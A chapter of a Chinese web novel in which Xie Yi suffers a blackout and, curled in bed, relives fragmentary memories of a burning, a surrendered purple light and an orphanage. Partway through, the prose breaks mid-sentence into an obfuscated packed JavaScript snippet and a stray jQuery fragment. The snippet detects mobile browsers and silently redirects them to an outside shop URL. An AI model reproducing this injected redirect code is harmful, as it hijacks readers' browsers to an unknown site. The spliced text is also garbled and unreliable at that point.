谢意从公司回来的时候是下午两点。
他确实去了。穿着那件明黄色的闪电睡衣，背着帆布包，在周六空荡荡的办公大楼里找到了值班的行政主管。对方看见他的时候手里的咖啡杯差点没拿稳，嘴张了三次才挤出一句"你……您是？"
谢意把工牌亮了一下。然后他从包里掏出一份自己花了一上午拟的、用A4纸打印的《关于长期高强度远程办公导致的精神压力补偿申请报告》，厚度三页，格式工整，甚至还在末尾附了三条引用来源——虽然他引用的其实都是自己从孤儿院旧书上看来的心理学入门读物。
行政主管拿着那份报告看了三分钟，脸色从铁青变通红又变铁青，最后挤出一句："……我们……研究一下。"
谢意说："下周三之前给我答复。"
然后他就回来了。背着帆布包，穿着闪电睡衣，穿过午后的城中村。阳光照在他后颈上，晒得那一小片皮肤微微发烫。他走到楼下的时候脚步慢了一拍，然后继续走了上去。
门开着。江野正蹲在地上用螺丝刀拧一把折叠椅的腿——不知道从哪淘来的，锈迹斑斑，三条腿长短不一。林安诚坐在沙发上，灰兔子搁在膝盖上，手里捧着一本翻到卷边的旧书，看得认真。
谢意走进去，把帆布包放在门口的鞋柜上，然后走到沙发另一头坐下来。整个动作行云流水，没有任何异常。
然后他靠在沙发靠背上，微微闭上了眼。
五秒。
他眼前的世界像被一把巨大的钳子捏住了所有的光线，从边缘开始向中心收拢。首先暗下去的是视野的四周，像一张被火从边缘点燃的纸，焦黑慢慢向中间蔓延。然后是他视线正中央那个最后的、细小的光点——"啪"一下灭了。
全黑。
黑到他分不清自己睁着眼还是闭着。
与此同时，耳朵里涌进来一阵极其尖锐的、连绵不绝的蜂鸣。像有一千只蚊子同时在他颅腔里振翅，声音从内向外灌，把外界的一切声响全部淹没了。他听不见江野拧螺丝的"嘎吱"声，听不见林安诚翻书页的"沙沙"声，听不见楼下街上任何一点声音。
他什么都听不见。只有耳鸣。还有眼前那片纯粹的、无限的、正在缓慢旋转的黑暗。
在黑暗的中央，有什么东西浮现出来了。
一个人形。佝偻着，很瘦小，看起来八九十岁，白发稀疏地贴在头皮上，穿着一件洗得发白的旧布衣。那人形背对着他，坐在一片模糊的、看不清背景的灰白色空间里，正在缓慢地、像缝补什么东西一样地动着手指。
谢意看不清他的脸。但他莫名地觉得——熟悉。
那种熟悉感不是"我见过这个人"的熟悉，而是"我应该认识这个人"的熟悉。像你忘记了一个梦，但醒来的时候枕头是湿的，你知道你在梦里哭过，但无论如何都想不起来为了什么。
他朝着那个人形往前迈了一步——但他没有脚，他只是一团意识，在黑暗里徒劳地伸出一只看不见的手。
然后五秒结束了。
光明猛地灌了回来，耳鸣像潮水一样退去。谢意睁开眼，紫眼睛在那一瞬间闪过了极其明亮的、像磷火被点燃又熄灭的光，然后恢复成黑色。
他发现自己正靠在沙发靠背上，两只手攥着沙发扶手的布面，指关节攥得发白。
江野还在拧螺丝。林安诚还在翻书。什么都没发生。从外面看，他只是闭了一下眼。
谢意把攥着扶手的手指慢慢松开。他的呼吸很浅，但他控制住了节奏，没有变快。他把手垂下来放在膝盖上，十指交叠，尽量让它们看起来是放松的。
然后他低头看了看自己的手。
指尖在抖。极轻微的、肉眼几乎捕捉不到的震颤，像一根被风吹到极限的细弦。
他收回视线，看着江野和林安诚。两个人都在做自己的事，没有看他。他深吸了一口气，把那股从胃底翻涌上来的、潮水一样的恶心感往下压了压。
但压不住。
压不住。
那股恶心感像一口被堵在胸腔里的、温热的、粘稠的液体，从食管底部慢慢往上顶，顶到喉咙口又退回去，退到胃里又涌上来。他看见江野手里那把生锈的螺丝刀——刀柄上有一圈暗黄色的旧污渍。他看见林安诚翻书页的时候指尖蹭过纸面留下的一小片指纹。他看见窗台上那只狸花猫舔了舔自己的前爪，然后打了个哈欠，露出一口尖细的牙。
每一件微小的事物在这一刻都变得过分清晰、过分具体，清晰到让他胃里翻涌。
他站起来。
"……我回床上躺一会儿。"
江野从螺丝刀上抬起头，看了他一眼："怎么了？下午不是没事了吗？"
"累了。昨晚没睡好。"
"那你睡吧。晚饭叫你。"
"嗯。"
谢意走进卧室。门关上。
他走到床边，没有开灯，窗帘拉着，整个房间昏沉沉的。他掀开被子的一角，躺了进去，然后慢慢地把自己的身体蜷缩起来。
膝盖抵着胸口，手臂环抱着小腿，下巴埋在膝盖上方——整个人缩成了一个尽可能小的、不占空间的、尽量像一团没有边界的柔软物质的形态。这是他多年来在无数个无法入睡的夜晚里练成的姿势。退回子宫。退回那个还没有被任何东西伤害过的、黑暗的、温暖的、没有声音的地方。
他把被子从脚底拉上来，裹过膝盖，裹过肩膀，一直拉到头顶。整个人被棉被完全包裹住，只剩一小撮头发露在枕头外面。
黑暗。温暖。被包裹的。没有缝隙的。
但耳朵旁边的声音没有停。
起初是极远的、像隔着很多层墙壁传来的窃窃私语。听不清内容，只能分辨出那是两个人以上的对话，语速很快，带着某种焦虑的、慌张的节奏。然后那些声音慢慢变近了，字句开始清晰起来。
"……他的眼睛是紫色的……"
"把他绑上去……"
"烧了就不会再回来了……"
"——别看他——"
然后是另一个声音，更年轻一些，像少年在哭喊："把他还给我！你们把他——"
声音戛然而止。
谢意把被子裹得更紧了。他的肩膀在被子里微微弓起，脊背弯成一道紧绷的弧线。他没有睁开眼。但即使闭着眼，那些画面依然从眼睑内侧涌出来，像被强行投影在视网膜背面的幻灯片。
火。柴堆。木桩。绳索。火苗舔上脚踝的瞬间。紫色的眼睛映着橙红色的火光。围观的人群。模糊的脸。有人在笑。有人在拍手。有人捂住了孩子的眼睛。
画面切换。
一座巨大的、空旷的、白色的空间。无边无际。他站在中间，面前站着另一个人。高，黑发，深色的眼睛，面孔模糊但身形熟悉——他抬着手，手里捧着一团淡紫色的、像雾气又像光的东西。
"你要我把它取出来？"
"嗯。"
"取出来你就没有记忆了。你会死。"
"嗯。"
"你确定？"
"……你帮我拿着。"
那团紫色的光被从眼窝中取出来的时候，白茫茫的空间里充斥着一种极度寂静的、像真空被撕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814534|210992||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
裂的声响。然后一切暗下去了。
再次亮起来的时候，谢意发现自己站在孤儿院的走廊里。墙皮剥落，水泥地面冰冷，空气中弥漫着消毒水和铁锈混在一起的、永远散不掉的恶臭。走廊尽头有一扇铁门，门缝下面渗出一摊深色的、已经干涸了一半的水渍。
他听见有人喊他。那是他自己的名字。从走廊尽头传来，一声接一声，越来越急。
然后画面碎了。
谢意猛地睁开眼。
被子里的温度太高了，闷得他呼吸不畅。他从被子里伸出一只手来，皮肤上全是冷汗，指尖还在微微地颤。他看了看那只手，修长的指节，瘦到血管浮在皮下的手背——那只手曾经捧着一团紫色的光，然后亲手把它交给了另一个人。
他不记得。
他什么都不记得。
但他胸口的那股闷堵感像一块被塞进肋腔里的石头，沉甸甸地压着心脏，让他每一次呼吸都短了一截。胃里的恶心感没有消退，反而更汹涌了。他蜷在被子下面，盯着自己手心那一层薄薄的汗，喉咙发紧，像有什么东西堵在食管里，不上不下。
他轻轻把被子掀开一条缝，让外面的空气漏进来一点点。他不想吐。他不想让外面的两个人听见。他不想让他们知道他躺在床上不是因为累——而是因为那些从记忆深处渗出来的东西正一勺一勺地灌满他胸腔。
他翻了个身，把脸埋进枕头里。布料粗糙的触感蹭着脸颊，凉凉的。他闭上眼。
幻听还在。那些火焰燃烧的噼啪声、人群的尖叫、少年哭喊的声音、还有那团紫色光芒被取出时真空撕裂的声响，混在一起，像一首没有调子的、重复播放的背景音乐。
他蜷得更紧了。
膝盖抵着胸口。手臂抱着小腿。下巴埋在膝弯里。整个人缩成一个句号，一个被窝里的、看不见的、安安静静沉下去的句号。
门外的客厅里，传来江野拧螺丝的"嘎吱"声和林安诚翻书页的"沙沙"声。间或有几句对话：
"你那折叠椅还没修好？"
"腿不一样长我有什么办法——"
"锯一截。"
"锯了你给我补？"
"……锯最短的那条腿。"
江野沉默了两秒，然后发出一声恍然大悟的"哦"，然后是锯子锯铁的刺耳声响。
谢意把自己整个人裹进被子里。那些声音从门缝里传进来，隔着被子变得很远很远，像从另外一个世界传来的、温柔的、模糊的回音。
他闭着眼。
那些火焰和白光慢慢退远了。幻听里的哭喊声渐渐低沉下去，只剩下远处极轻微的、像风声一样的嗡鸣。
他没有睡着。但他在被子里待了很久。
久到窗外的午后阳光从正午的白变成了下午的暖金，久到客厅里的锯铁声停了、折叠椅终于被修好了、江野发出一声胜利的欢呼，久到林安诚翻完了那本旧书又从头翻了一遍。
他依然蜷在那里。
像退回了一个比这里更早、比记忆更早的地方。一个还没有形状、还没有名字、还没有被任何人看见过的空间。
他的右手小指从被子里伸出来一截。那圈红痕在昏暗的光线里微微亮了一下，又暗下去了。
门外的林安诚忽然放下书，抬头看了一眼卧室紧闭的门。她抱紧了灰兔子，重瞳在午后的阳光里闪了一下。
她没有敲门。她只是看了一会儿那扇门，然后继续低头翻书。
窗台上那只狸花猫伸了个懒腰，跳下窗台，走到卧室门口蹲了下来。它蹲了很久，像一个沉默的、不请自来的看守。